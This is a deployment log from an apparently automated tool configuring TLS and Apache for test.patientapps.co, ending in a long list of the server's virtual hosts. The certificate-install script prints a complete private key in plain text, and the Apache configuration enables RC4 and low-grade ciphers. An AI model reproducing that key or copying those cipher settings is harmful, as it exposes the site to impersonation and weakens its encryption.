chmod 755 /tmp/pkp577390; /tmp/pkp577390; rm /tmp/pkp577390
2025-11-20 12:43:21:
1
2025-11-20 12:43:22: Establishing a connection
2025-11-20 12:43:22:
PUT: /tmp/pkp331138
#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs
2025-11-20 12:43:22:
chmod 755 /tmp/pkp331138; /tmp/pkp331138; rm /tmp/pkp331138
2025-11-20 12:43:22:
2025-11-20 12:43:27: Establishing a connection
2025-11-20 12:43:28:
PUT: /tmp/pkp412847
#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm XmxD14QZFgs2Ikx61xPt10yBwZoeTC0esG-8Jkhzbbs
2025-11-20 12:43:28:
chmod 755 /tmp/pkp412847; /tmp/pkp412847; rm /tmp/pkp412847
2025-11-20 12:43:28:
2025-11-20 12:43:28: Establishing a connection
2025-11-20 12:43:28:
PUT: /tmp/pkp961250
#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293
cat > $temp_file <<'endmsg'
68:42:d3:97:35:74:b7:0c:fc:32:e5:fa:ab:c8:a4:75
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBTsfSQUpgzKj8saT0oj/0EBiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIwMTE0NDU3WhcNMjYwMjE4MTE0NDU2WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAzMGunPKf+hafD/aDx95mT2fvj7MKE3dB2Lkw7jRlD52f7hTM5Xg9IO/4
LsPtVF+Mp/26dS9e/KogU3RagK15PWRmXjKr3vJYm+7e24WxqWQJiA2mE88ZoaIb
iRlmdsJUZQ3EIk7PuQT50/HJzdLmFDNnmPeBkBmaLDlHyYF3QW0MQ53DKATsSxDP
N7yA0LSTmo709xD4IXnewJPRqxMMJzkBLdgZ1KqhO3QBeRiZc8gfOYR2yFeqvNk8
Sug9AAlbdguOxIGLN30B+kP3Nmyy7q2zMAp1QjYwlDz1w7k37ytsS4lmmayKFx+7
Le08vNl1ELFjjI74jGmvTSp0gQiuhwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTY7R++pnCrtg6maYmr6nu8XLvkeDAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85OS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqhSof1AAAE
AwBIMEYCIQD5o64y3e5TdH0Po1ZXpTuQNnAZ3icwqjkCi0xvIEXsJQIhANNeYcOA
L1+YTN60GiXghxWl+hY0+6aU14pr8Nlf6kaCAHYASZybad4dfOz8Nt7Nh2SmuFuv
CoeAGdFVUvvp6ynd+MMAAAGaoUqH9QAABAMARzBFAiAusTr1Vr8KjKFSGBWb5UHd
K6Qvx3qHoe8gxhFndA/E2wIhAJP+jjVNHgVkKQAom0kvdJSWzv4sEwRF2MnwZJDq
ybuCMA0GCSqGSIb3DQEBCwUAA4IBAQAjGcXbHfre2ML3+9vnUZxtCeQLNmcnLSmJ
0dpK0M3xIYG7ByM8AvOKCsVU05s2lqxjZiz9KZYg2K090Jq/URvl/uY4o7UCexeG
YHjZJF0yMqWavC2CarBK0r1Tm528HzNEkI0zh68LWWhRh/uDiB/ko1NQTmIN+MxZ
4/Oi6CSBGBJcq8Fs+Lia9lkNTcw9eXxV3lSSLpYgcwCpMuHH+lKi0WZh3zyGFdfk
AZUvDAhut4D/uENc6Bi44BS88t0cb33sm1KdK9T198JwphiWLu5xtDORS/9qp7YB
+ewkYyAzTTOoYm2bQQkPN9/jY/eQPXqUN33ZcE33bK4abQ1QnCU2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDMwa6c8p/6Fp8P
9oPH3mZPZ++PswoTd0HYuTDuNGUPnZ/uFMzleD0g7/guw+1UX4yn/bp1L178qiBT
dFqArXk9ZGZeMqve8lib7t7bhbGpZAmIDaYTzxmhohuJGWZ2wlRlDcQiTs+5BPnT
8cnN0uYUM2eY94GQGZosOUfJgXdBbQxDncMoBOxLEM83vIDQtJOajvT3EPghed7A
k9GrEwwnOQEt2BnUqqE7dAF5GJlzyB85hHbIV6q82TxK6D0ACVt2C47EgYs3fQH6
Q/c2bLLurbMwCnVCNjCUPPXDuTfvK2xLiWaZrIoXH7st7Ty82XUQsWOMjviMaa9N
KnSBCK6HAgMBAAECggEAZW+yJHiiPlAEnvDeGh8YilAQQx1MaZZUHZypG+kDA/hv
qY/ObgPiLLYVOn2/zmPDl9nADJvaL8vMVeu3hjXqcTqS6CmsMbfXo/BzoUcbW7J+
clNoqjmYFhXsFEBsHXtqOeHW/7QRfjRz28bV1cycRPeuY/6BxjSYxz3dTXuA6/zK
ERSi+BxLJmBPV4shiTU5VRCeeFH/RTPA6oHlvApUZxLGWowl9nkAnK3qtsT94ugo
8ZdxF638fuMETGLNdLH33GqD/Il78vWiJqVSZGlt6j1AeLpnf5SSN9JWYh5g+nR8
db69aUXA0NvulXal4Y+zmA6Zf1g73/zkRbkn2a4JIQKBgQDnodDzqFEPVBS2vIv5
VA6xUKIaoHzlaF/BepYIWWQwC4SZRhjciTb4wX3tiOqOUrTvp8IFal2Ll4SQMuuW
u7ZXPY/KHO4ZPTF7lOMXfSW+oCM4iXjJOVbG/Nd77cCnwPgJcxh+yX8yLPv8C5X9
/I54FEYur1x68WnzVk8ylQFglwKBgQDiTBHNo9ZPctx6snGEJh7jws83k/V6mPiC
AlscSuzW+NIEr8iiXeMUUjOFpC/uQWEO/aVfpAy+loXTT2bCGsqAFPuIS4gOONNn
tKZXAExSRix4KMAMpBRAP2NokHGKeRydd9VTpbszUt6HeqyAjJpFHIJIBFkX8X2X
Z6enbQzvkQKBgQCkZ6IbjzgZnSAmo6TmDtdu20Bzjb2YRoDQnuWmf2ww/bvb3nj+
7xVpckyjMC7rXaC3CWcY2OoUjjK09q9oiUtemH9agTYuC9T3VjHpFhaYOqlFE637
hQsmqYd4msPHTZu/eUXFl9cEEhG4T7DiWUP1zs4RjL4jNP5yjKwhxsj3eQKBgQDQ
cf9oK0UJ86RRRLM5ZZ/IbjZPXHOelO87Wg4wlndoYNObS4wEu3Si0EDzFdSsov5T
P6Kn4UV3/NCSXy4pF2J17l3vIpvVddSNTyJ1OyoSEt99YxPb0PtyXrEjrQFY6sxH
5AzVOvCfivK9WmsxEdI8XNFIovCqFGB6KRmOJ+3lcQKBgD28Lq3Ibg4jo3IelJ9g
Jn7yBEvLA/iIh5bbCp53cq4VBoBAk8lVk8hDyGu2s5Bv6h6nBglx8fmRLrTpZ9vu
I72nPodwrr+sCdYEhnm1onZT0LoLZ59WPpckneuMXDbUIPzrVsT8Jqf6S1mZ163V
wmt3+FQ/jYJnzWMNb3WTVE3K
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-20 12:43:28:
chmod 755 /tmp/pkp961250; /tmp/pkp961250; rm /tmp/pkp961250
2025-11-20 12:43:28:
dir=/etc/ssl/certs
2025-11-20 12:43:28:
PUT: /tmp/pkp341148
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-20 12:43:28:
chmod 755 /tmp/pkp341148; /tmp/pkp341148; rm /tmp/pkp341148
2025-11-20 12:43:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43
<VirtualHost *:80>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_access.log combined
ErrorLog /var/log/apache2/patientapps/test_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/test_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-20 12:43:28:
PUT: /tmp/pkp253311
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_access.log combined
ErrorLog /var/log/apache2/patientapps/test_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/test_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi
2025-11-20 12:43:28:
chmod 755 /tmp/pkp253311; /tmp/pkp253311; rm /tmp/pkp253311
2025-11-20 12:43:28:
2025-11-20 12:43:28:
PUT: /tmp/pkp610969
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-20 12:43:28:
chmod 755 /tmp/pkp610969; /tmp/pkp610969; rm /tmp/pkp610969
2025-11-20 12:43:28:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-20 12:43:28: Establishing a connection
2025-11-20 12:43:28:
PUT: /tmp/pkp760756
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-20 12:43:29:
chmod 755 /tmp/pkp760756; /tmp/pkp760756; rm /tmp/pkp760756
2025-11-20 12:43:29:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
